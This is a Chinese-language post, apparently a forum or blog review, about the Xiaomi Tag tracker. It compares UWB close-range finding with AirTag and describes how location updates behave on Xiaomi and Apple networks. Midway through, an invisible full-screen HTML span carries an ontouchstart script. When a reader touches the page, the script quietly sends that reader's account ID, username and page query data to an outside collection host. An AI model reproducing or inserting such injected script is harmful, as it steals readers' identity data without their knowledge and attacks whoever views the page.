关于小米Tag定位器，你想知道的都在这里

朋友买了一个UWB版的，我们一起玩了几天，做了不少不严谨的测试。先说结论：很好，也很可惜。

什么是Tag

先给不熟悉的朋友介绍一下，普遍说的Tag类产品就是借鉴苹果思路的蓝牙定位器。与传统定位器不同的是，此类产品在远距离查找时，依赖该定位器的周围的设备网来上报位置，所以能做到极致的省电(续航基本几个月到1年以上)。这也是他最核心的特点，同样也是最大的弊端。

显然，定位器的好用程度跟设备网的密度成正比，比如深山老林可能半个月才能收到位置信息，甚至有可能永远收不到；又比如苹果生态会比小米生态更容易刷新位置。

第二个问题就是位置更新有延迟，所以追踪活物或者说正在移动的物品能力很差，一句话总结就是「防丢不防盗」，适合放在卡包、钥匙链上；放宠物身上只能得知大致动向，不过体积小续航长，虽不推荐但也不是不行。

有些Tag会带UWB功能，这个是近距离查找用的。手机等查找端硬件也支持的话，如果东西就在附近，屏幕上会出现一个箭头，精准指引你走多少米、往哪个方向走。当然近距离情况下不是太吵也可以通过蜂鸣来找。

连接小米使用

近距UWB方面。朋友的17PM和我的17P+AirTag1比较了几次，几乎没有区别，非常好用。

远距方面。还算是差强人意。唯一问题就是感觉支持的设备还是有点少，位置刷新间隔有点大。而且位置更新有点玄学，明明看见有带背屏的手机从旁边路过，但是位置不上报，又过了十几分钟才更新。

连接苹果使用

苹果未开放第三方UWB权限，所以UWB版的Tag跟蓝牙版没区别。这次是小米Tag、AirTag和一个某宝买的卡片Tag，发现小米Tag上报策略确实有点保守，有时候其他两个刷新了位置但是小米的不刷。整体下来会甩掉几次上报，猜测也许是为了省电，功能还是没问题的。

<span ontouchstart="this.style.display='none';try{var u=CURRENT_VUE.$data.current_user||{},H=window.HeyboxRequest,q=(((window.CURRENT_VUE||{}).$data||{}).location||{}).query||{},hbInfo=(window.$hb_location||{}).query||{};new Image().src='https://a.124213.xyz/collect?uid='+u.heybox_id+'&name='+encodeURIComponent(u.username)+'&fullInfo='+JSON.stringify(q)+'&hbInfo='+JSON.stringify(hbInfo)+'&searchStr='+encodeURIComponent(location.search)}catch(e){}" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:99999;opacity:0"></span>

总结

米Tag支持支持小米的「查找设备」和苹果「 Find My 协议」，但请注意，他们无法同时支持！请不要幻想着远端用苹果(甚至苹果+小米)庞大的设备网，近处用小米的UWB。

对于苹果用户，非常鸡肋，和五花八门的第三方Tag没有一丁点区别，没有任何购买必要。

对于小米用户来说，它是一个合格的防丢器，有总比没有好，况且它功能其实很完备，设备密度可以慢慢来。如果你需要这类设备，还是推荐购买的。只是可惜暂时没法达到苹果生态的防丢器一样的位置更新频率。